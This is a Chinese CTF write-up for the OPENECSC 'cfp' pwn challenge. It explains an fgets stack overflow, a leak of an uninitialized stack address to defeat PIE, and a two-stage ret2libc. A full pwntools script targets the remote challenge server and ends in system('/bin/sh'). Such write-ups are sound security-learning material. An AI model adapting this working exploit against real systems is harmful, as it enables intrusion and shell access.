题目简介 OPENECSC pwn第一题,详见OPENECSC-cfp
学到的一种新的泄露地址的方法,记录一下
漏洞点分析 首先checksec,看到没开canary,其他都开了: 进入IDA,发现溢出点在main函数的fgets,允许我们输入256字节,可以覆盖到返回地址: 有puts函数,想到可以ret2libc 但是开了PIE,如果采用二阶段打法,先调puts泄露libc地址,需要泄露elf的基地址才能用gadget去控rdi,或者用别的办法泄露libc 进一步分析发现admin_func里存在输出功能,如下: user_func也类似: 这里学到一种新的思路:未初始化(memset)的情况下,栈上有可能残留和ELF相关的真实地址,于是调试分析一下 最终可以看到,在admin_func输出之前,栈上确实有一个ELF的真实地址: 因此利用思路为ret2libc,难点在于泄露地址,解决方法就是找一个在printf之前固定会有的的地址,通过溢出控制最后0x00截断的位置刚好到那里,类似下图: 可以看到倒数第二行固定有一个ELF文件地址,偏移是0x11a9,这个值是固定的,只要泄露该地址-0x11a9就能得到ELF地址进而得到gadget,然后就是常规的二阶段打法ret2libc了
漏洞点利用 exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import * context(os="linux" ,arch="amd64" ,log_level="debug" ) targetELF="./app" libcPath="/home/k40/Pwn/Exercise/OPENECSC-cfp/libc.so.6" context.terminal=["tmux" ,"splitw" ,"-h" ] LOCAL=1 REMOTE=2 DEBUG=3 mode=REMOTE gs = ''' set debug-file-directory /home/k40/Pwn/glibc-tool/glibc-all-in-one/libs/glibc-2.23/.debug ''' elf=ELF(targetELF) libc=ELF(libcPath) leakFuncName="puts" def Lauch (): if mode==LOCAL: io=process(targetELF) return io elif mode==REMOTE: io=remote("bf44ea4d-2baa-4449-8289-53b21ae5d766.openec.sc" ,31337 ,ssl=True ) return io elif mode==DEBUG: io=gdb.debug(targetELF,"b *main+55" ) return io ioTube=Lauch() retOffset=0x70 +0x8 libOffset=0x24083 elfOffset=0x11a9 gotOffset=elf.got[leakFuncName] pltOffset=elf.plt["puts" ]if mode==LOCAL or mode==DEBUG: ioTube.recvuntil("Hello functional world! Whats your name?" ) payload=b"admin" +b'A' *(retOffset-2 -5 ) ioTube.sendline(payload)if mode==REMOTE: ioTube.recvuntil("Hello functional world! Whats your name?" ) ioTube.recv(0x68 ) info=ioTube.recvuntil('!' ) elfLeak=u64(info[0x68 +6 :-1 ].ljust(8 ,b'\x00' )) elfBase=elfLeak-elfOffset ioTube.recvuntil("Hello functional world! Whats your name?" ) putsGOT=elfBase+gotOffset putsPLT=elfBase+pltOffset pop_rdi_ret=elfBase+0x1323 retAlignPadding=elfBase+0x101a backAddr=elfBase+elf.symbols["_start" ] payload=b'1' *retOffset+p64(pop_rdi_ret)+p64(putsGOT)+p64(putsPLT)+p64(backAddr) ioTube.sendline(payload) ioTube.recvuntil("bye!" ) ioTube.recvline() libcLeak=u64(ioTube.recvline()[:-1 ].ljust(8 ,b'\x00' )) libcBase=libcLeak-libc.symbols[leakFuncName] systemAddr=libcBase+libc.symbols["system" ] binshAddr=libcBase+next (libc.search("/bin/sh" )) ioTube.recvuntil("Hello functional world! Whats your name?" ) payload=b'2' *retOffset+p64(retAlignPadding)+p64(pop_rdi_ret)+p64(binshAddr)+p64(systemAddr) ioTube.sendline(payload) ioTube.recvuntil("bye!" ) ioTube.interactive()
最后值得提一下的是服务器端没有setbuf,因此交互行为和本地略有区别 以及服务端开启了SSL,因此remote接口也要加上ssl=True的参数